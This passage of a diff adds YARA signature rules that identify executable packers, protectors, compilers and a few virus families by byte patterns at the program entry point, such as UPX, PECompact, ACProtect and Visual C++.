+		$1 = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F CA C0 C7 91 0F CB C1 D9 0C 86 F9 86 D7 D1 D9 EB 01 A5 EB 01 11 EB 01 1D 0F C1 C2 0F CB 0F C1 C2 EB 01 A1 C0 E9 FD 0F C1 D1 EB 01 E3 0F CA 87 D9 EB 01 F3 0F CB 87 C2 0F C0 F9 D0 F7 EB 01 2F 0F C9 C0 DC C4 EB 01 35 0F CA D3 D1 86 C8 EB 01 01 0F C0 F5 87 C8 D0 DE EB 01 95 EB 01 E1 EB 01 FD EB 01 EC 87 D3 0F CB C1 DB 35 D3 E2 0F C8 86 E2 86 EC C1 FB 12 D2 EE 0F C9 D2 F6 0F CA 87 C3 C1 D3 B3 EB 01 BF D1 CB 87 C9 0F CA 0F C1 DB EB 01 44 C0 CA F2 0F C1 D1 0F CB EB 01 D3 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ExeSafeguard_v10__simonzh_
+{
+	meta:
+		description = "ExeSafeguard v1.0 -> simonzh"
+	strings:
+		$0 = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF DF BA A3 22 3F 9A C0 60 EB 4D EB 47 DF 69 4E 58 DF 59 79 F3 EB 01 DF 78 EE DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF E8 BA A3 22 3F 9A C0 8D B5 EE 19 40 00 EB 47 EB 47 DF 69 4E 58 DF 59 7A EE EB 01 DF 7B E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF DF 22 3F 9A C0 8B FE EB 4C EB 47 DF 69 4E 58 DF 59 74 F2 EB 01 DF 75 ED 0F 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF E8 BA A3 22 3F 9A C0 B9 2B CB 00 00 EB 4B EB 47 DF 69 4E 58 DF 59 78 EF}
+		$1 = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Thinstall_Embedded_V2501__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V2.501 -> Jitit"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A8 1A 00 00 B9 6D 1A 00 00 BA 21 1B 00 00 BE 00 10 00 00 BF C0 53 00 00 BD F0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PE_Protect_09_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PE Protect 0.9"
+	strings:
+		$0 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_VCL_
+{
+	meta:
+		description = "Vx: VCL"
+	strings:
+		$0 = {01 B9 ?? ?? 81 35 ?? ?? 47 47 E2 F8 C3}
+		$1 = {AC B9 00 80 F2 AE B9 04 00 AC AE 75 ?? E2 FA 89}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Interplays_MVE_file_
+{
+	meta:
+		description = "Interplay's MVE file"
+	strings:
+		$0 = {49 6E 74 65 72 70 6C 61 79 20 4D 56 45 20 46 69 6C 65 1A 00 1A}
+	condition:
+		$0 at entrypoint
+}
+rule _VMware_ThinApp_V4002200__VMware__20090124_
+{
+	meta:
+		description = "VMware ThinApp V4.0.0.2200 -> VMware * 20090124"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 94 1A 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 C8 00 00 00 E8 2C FF FF FF E9 ?? FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MarjinZ_EXEScrambler_SE__by_MarjinZ_
+{
+	meta:
+		description = "MarjinZ EXE-Scrambler SE - by MarjinZ"
+	strings:
+		$0 = {E8 A3 02 00 00 E9 35 FD FF FF FF 25 C8 20 00 10 6A 14 68 C0 21 00 10 E8 E4 01 00 00 FF 35 7C 33 00 10 8B 35 8C 20 00 10 FF D6 59 89 45 E4 83 F8 FF 75 0C FF 75 08 FF 15 88 20 00 10 59 EB 61 6A 08 E8 02 03 00 00 59 83 65 FC 00 FF 35 7C 33 00 10 FF D6 89 45}
+		$1 = {E8 A3 02 00 00 E9 35 FD FF FF FF 25 C8 20 00 10 6A 14 68 C0 21 00 10 E8 E4 01 00 00 FF 35 7C 33 00 10 8B 35 8C 20 00 10 FF D6 59 89 45 E4 83 F8 FF 75 0C FF 75 08 FF 15 88 20 00 10 59 EB 61 6A 08 E8 02 03 00 00 59 83 65 FC 00 FF 35 7C 33 00 10 FF D6 89 45 E4 FF 35 78 33 00 10 FF D6 89 45 E0 8D 45 E0 50 8D 45 E4 50 FF 75 08 E8 D1 02 00 00 89 45 DC FF 75 E4 8B 35 74 20 00 10 FF D6 A3 7C 33 00 10 FF 75 E0 FF D6 83 C4 1C A3 78 33 00 10 C7 45 FC FE FF FF FF E8 09 00 00 00 8B 45 DC E8 A0 01 00 00 C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _RLPack_v118_Basic_aPLib_
+{
+	meta:
+		description = "RLPack v1.18 Basic [aPLib"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Free_Pascal_09910_
+{
+	meta:
+		description = "Free Pascal 0.99.10"
+	strings:
+		$0 = {E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29}
+	condition:
+		$0 at entrypoint
+}
+rule _ProPack_214_m2_EXE_
+{
+	meta:
+		description = "ProPack 2.14 -m2 [EXE]"
+	strings:
+		$0 = {0E 8C D3 8E C3 8C CA 8E DA 8B 0E 08 00 8B F1 83 EE 02 8B FE D1 E9 FD F3 A5 53 B8 35 00 50 8B 2E 0A 00 03 16 0C 00 CB B8 00 10 3B C5 76 02 8B C5 2B E8 2B D0 2B D8 8E DA 8E C3 B1 03 D3 E0 8B C8 D1 E0 48 48 8B F0 8B F8 F3 A5 0B ED 75 D9 FC 07}
+	condition:
+		$0 at entrypoint
+}
+rule _Symantec_Visual_Cafe_30_
+{
+	meta:
+		description = "Symantec Visual Cafe 3.0"
+	strings:
+		$0 = {64 8B 05 00 00 00 00 55 8B EC 6A FF 68 00 00 40 00 68 00 00 40 00 50 64 89 25 00 00 00 00 83 EC 08 50 53 56 57 89 65 E8 C7 45 FC 00 00 00 00 E8 00 0D 00 00 E8 00 0C 00 00 6A 00 FF 15 00 00 40 00 A3 00 00 40 00 E8 00 0C 00 00 FF 15 00 00 40}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_V13X__risco_
+{
+	meta:
+		description = "ACProtect V1.3X -> risco"
+	strings:
+		$0 = {60 1E E8 3B 01 BF CC 01 2E 03 3E CA 01 2E C7 05}
+		$1 = {60 50 E8 01 00 00 00 75 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_71_
+{
+	meta:
+		description = "Microsoft Visual C++ 7.1"
+	strings:
+		$0 = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 39 75 0C 0F 84 ?? ?? ?? ?? 33 C0 40 5E 5D C2 0C 00}
+		$1 = {8B FF 55 8B EC 56 33 F6 39 75 0C 75 0E 39 35 ?? ?? ?? ?? 7E 2D FF 0D ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 75 3D 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 75 04 33 C0 EB 67 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68}
+		$2 = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 05 ?? ?? ?? ?? 59 59 33 C0 40 5E 5D C2 0C 00}
+		$3 = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 75 44 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 05 ?? ?? ?? ?? 59 59 33 C0 40 5E 5D C2 0C 00}
+		$4 = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3}
+		$5 = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 75 44 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8}
+		$6 = {55 8B EC 83 EC 08 53 56 57 55 FC 8B 5D 0C 8B 45 08 F7 40 04 06 00 00 00 0F 85 AB 00 00 00 89 45 F8 8B 45 10 89 45 FC 8D 45 F8 89 43 FC 8B 73 0C 8B 7B 08 53 E8 ?? ?? ?? ?? 83 C4 04 0B C0 74 7B 83 FE FF 74 7D 8D 0C 76 8B 44 8F 04 0B C0 74 59 56 55}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 or $3 or $4 or $5 or $6
+}
+rule _Rec_033a_
+{
+	meta:
+		description = "Rec 0.33a"
+	strings:
+		$0 = {06 1E 52 B8 16 30 1E CD 21 86 C4 3D FF 02 73 02 CD 20 B4 09 0E 1F E8 02 00 24 24 5A CD 21 EB 02 D8 88 1F 5A B4 30 CD 21 3C 03 73 02 CD 20 3C 03 73 02 33 C0 BF 08 08 8B 08 90 2B F7 90 BF 08 08 B9 08 08 52 BA EB 04 5A EB FB 9A EB 2E FE 20 E7}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Compiler_
+{
+	meta:
+		description = "Vx: Compiler"
+	strings:
+		$0 = {8C C3 83 C3 10 2E 01 1E ?? 02 2E 03 1E ?? 02 53 1E}
+		$1 = {8C C3 83 C3 10 2E 01 1E ?? 02 2E 03 1E ?? 02 53 1E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PACKWIN_v101p_
+{
+	meta:
+		description = "PACKWIN v1.01p"
+	strings:
+		$0 = {8C C0 FA 8E D0 BC ?? ?? FB 06 0E 1F 2E ?? ?? ?? ?? 8B F1 4E 8B FE 8C DB 2E ?? ?? ?? ?? 8E C3 FD F3 A4 53 B8 ?? ?? 50 CB}
+		$1 = {8C C0 FA 8E D0 BC ?? ?? FB 06 0E 1F 2E ?? ?? ?? ?? 8B F1 4E 8B FE 8C DB 2E ?? ?? ?? ?? 8E C3 FD F3 A4 53 B8 ?? ?? 50 CB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESHiELD_0251__ANAKiN_DaVinci_
+{
+	meta:
+		description = "PESHiELD 0.251 -> ANAKiN [DaVinci"
+	strings:
+		$0 = {5D 83 ED 06 EB 02 EA 04 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _COM2TXT_120__141_
+{
+	meta:
+		description = "COM2TXT 1.20 - 1.41"
+	strings:
+		$0 = {54 5F 4F 4F 57 57 33 3D 58 58 57 58 50 59 35 30 50 50 5A 35 6A 51 50 5F 2D 79 73 2C 41 31 45 61 35 79 38 35 32 63 50 34 5A 34 50 50 2D 70 56 34 30 50 2D 42 4F 75 0D 0A 00 00 00 00 00 00 00 00 00 00 00 00 35 55 71 50 57 58 2C 77 50 35 30 30}
+	condition:
+		$0 at entrypoint
+}
+rule _RELOC_100_
+{
+	meta:
+		description = "RELOC 1.00"
+	strings:
+		$0 = {1E 06 8C C8 2E 2B 06 6E 00 8E C0 8B D0 2E 8C 06 6E 00 2E 8B 36 70 00 2E 8B 0E 72 00 E3 1E BD 74 00 2E 8B 36 70 00 2E 03 76 00 2E A1 6E 00 2E 03 46 02 8E C0 83 C5 04 26 01 14 E2 E5 07 1F FA 2E 8B 26 6C 00 8C C8 2E 2B 06 6A 00 8E D0 8C C8 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_126b1__126b2_
+{
+	meta:
+		description = "PECompact 1.26b1 - 1.26b2"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 00 87 DD 8B 85 A6 70 40 00 01 85 03 70 40 00 66 C7 85 00 70 40 00 90 90 01 85 9E 70 40 00 BB 05 0E 00 00 03 9D AA 70 40 00 03 9D A6 70 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Shit_06__snaker_
+{
+	meta:
+		description = "UPX Shit 0.6 -> snaker"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? B9 15 00 00 00 80 34 08 ?? E2 FA E9}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_V11X_Method2__bagie_
+{
+	meta:
+		description = "SimplePack V1.1X (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+		$1 = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00}
+		$2 = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+		$3 = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+	condition:
+		$0 at entrypoint or $1 or $2 or $3 at entrypoint
+}
+rule _Software_Compress_V12___BG_Software_Protect_Technologies_
+{
+	meta:
+		description = "Software Compress V1.2 ->  BG Software Protect Technologies"
+	strings:
+		$0 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00}
+		$1 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VProtector_11X__vcasm_
+{
+	meta:
+		description = "VProtector 1.1X -> vcasm"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+		$1 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_PEtite_2x_level_0__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PEtite 2.x (level 0)] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 B8 00 90 90 00 6A 00 68 90 90 90 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8 03 00 68}
+	condition:
+		$0 at entrypoint
+}
+rule _kkrunchy_023_alpha_2__Ryd_
+{
+	meta:
+		description = "kkrunchy 0.23 alpha 2 -> Ryd"
+	strings:
+		$0 = {BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF ?? ?? ?? 01 31 C9 41 8D 74 09 01 B8 CA 8E 2A 2E 99 F7 F6 01 C3 89 D8}
+		$1 = {BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF}
+		$2 = {BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF ?? ?? ?? 01 31 C9 41 8D 74 09 01 B8 CA 8E 2A 2E 99 F7 F6 01 C3 89 D8 C1 E8 15 AB FE C1 75 E8 BE}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Safedisc_V450000__Macrovision_Corporation___20080117_
+{
+	meta:
+		description = "Safedisc V4.50.000 -> Macrovision Corporation  * 20080117"
+	strings:
+		$0 = {55 8B EC 60 BB 6E ?? ?? ?? B8 0D ?? ?? ?? 33 C9 8A 08 85 C9 74 0C B8 E4 ?? ?? ?? 2B C3 83 E8 05 EB 0E 51 B9 2B ?? ?? ?? 8B C1 2B C3 03 41 01 59 C6 03 E9 89 43 01 51 68 D9 ?? ?? ?? 33 C0 85 C9 74 05 8B 45 08 EB 00 50 E8 25 FC FF FF 83 C4 08 59 83 F8 00 74 1C C6 03 C2 C6 43 01 0C 85 C9 74 09 61 5D B8 00 00 00 00 EB 96 50 B8 F9 ?? ?? ?? FF 10 61 5D EB 47 80 7C 24 08 00 75 40 51 8B 4C 24 04 89 0D ?? ?? ?? ?? B9 02 ?? ?? ?? 89 4C 24 04 59 EB 29 50 B8 FD ?? ?? ?? FF 70 08 8B 40 0C FF D0 B8 FD ?? ?? ?? FF 30 8B 40 04 FF D0 58 B8 25 ?? ?? ?? FF 30 C3 72 16 61 13 60 0D E9 ?? ?? ?? ?? 66 83 3D ?? ?? ?? ?? ?? 74 05 E9 91 FE FF FF C3}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v071b2_
+{
+	meta:
+		description = "tElock v0.71b2"
+	strings:
+		$0 = {60 E8 44 11 00 00 C3 83}
+		$1 = {60 E8 44 11 00 00 C3 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESpin_V132__cyberbob____20080310_
+{
+	meta:
+		description = "PESpin V1.32 -> cyberbob   * 20080310"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 17 E6 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 ?? EB 01 ?? EB 0D FF E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 EB 04 ?? EB 04 00 EB FB FF E8 02 00 00 00 ?? ?? 5A 81 ?? ?? ?? ?? ?? 83 EA FE 89 95 A9 57 40 00 2B C0 2B C9 83 F1 06 09 85 CB 57 40 00 9C D3 2C 24 80 C1 FB 21 0C 24 50 52 B8 36 C7 09 FF 05 FE 37 F6 00 F7 64 24 08 8D 84 28 B1 35 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC CD 20 BB 69 74 58 0B C1 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_C__Basic_NET_
+{
+	meta:
+		description = "Microsoft Visual C# / Basic .NET"
+	strings:
+		$0 = {01 DB 07 8B 1E 83 EE FC 11 DB ED B8 01 00 00 00 01 DB 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B}
+		$1 = {FF 25 00 20 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AntiDote_10_Beta__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.0 Beta -> SIS-Team"
+	strings:
+		$0 = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 66 8B 41 06 89 54 24 14 8D 68 FF 85 ED 7C 37 33 C0}
+		$1 = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 66 8B 41 06 89 54 24 14 8D 68 FF 85 ED 7C 37 33 C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _vprotector_12__vcasm_
+{
+	meta:
+		description = "vprotector 1.2 -> vcasm"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00}
